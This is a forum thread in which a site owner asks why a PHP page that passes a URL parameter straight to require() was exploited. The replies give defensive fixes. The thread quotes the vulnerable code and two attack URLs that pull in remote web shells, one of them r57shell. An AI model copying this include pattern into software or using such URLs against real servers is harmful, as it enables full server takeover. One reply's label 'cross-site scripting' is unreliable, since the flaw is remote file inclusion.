php http exploit method - pbsync hack question

Shell Programming and Scripting
1

I'm dealing with a website that was recently blocked by the webhost because pbsync was found on the server. I'd like for someone to give me 'a tutorial' if you will or guidance on how they are able to accomplish the below scenario..

index.php consist primarily of these tables with the following code:

  <tbody>

    <tr align="left">

      <td style="height: 100px;" colspan="2" rowspan="1">
        <a name="top"></a>
        <? require("top.html"); ?>
        </td>

    </tr>

    <tr>

      <td style="width: 150px;" align="left" valign="top">
        <? require("menu.html"); ?>
        </td>

        <?
        $_GET['p']=$p;
        if ($_GET['p']==NULL)
        {
          $p="accueil.html";
        }
        ?>
      <td style="width: 550px;" align="left" valign="top">

<table style="text-align: left; width: 100%;" border="0"
 cellpadding="2" cellspacing="2">
  <tbody>
    <tr>
      <td>

       <? require($p); ?>

        <br>
        <div align="right"><a href="#top">Haut de page</a></div>

        </td>
    </tr>
  </tbody>

^^Somehow because of this, the site is completely exploitable to requests like...

http://x.x.x.x/index.php?p=http://www.myrentaldesk.com/vote-pro/readme.txt??

&

http://x.x.x.x/index.php?p=http://almeriastay.com/images/r57.txt

^^Basically with the above, the site is completely vulnerable to malicious scripts on the net!! I found the first to be a web face to run shell commands on the server, and the second to be r57shell 1.3.

I'd like to know, with the code shown above, what method is being used to allow for this type of an exploit and how can it be re-written to prevent it? I'm sure this is method is logged somewhere on the php.net but I'm not sure what the exact term is for the scripting method used. All I know is that it seems that they are using frames through php script and it's exploitable with the right URL request.

Please, any feedback would be appreciated.

2

That's a cross-site scripting vulnerability at its finest. Are you asking how to prevent this on a design level? Never trust user-supplied data.

It's not clear what values for p you want to continue to allow, but the basic principle should be "deny everything except a well-known set" and so a simple implementation would be to default to accueil.html unless p is one from a small set of other pages you want to allow. (A simple but, on the face of it, reasonably safe generalization would be to only allow values for p which do not contain any slash, encoded or otherwise. But "encoded or otherwise" can constitute a large security hole, too. Are you sure you know all the ways a slash could end up as the result of URL parsing?)

3

If you do not need the remote include functionality, simply disable it using allow_url_* PHP system configuration directives.

PHP: Runtime Configuration - Manual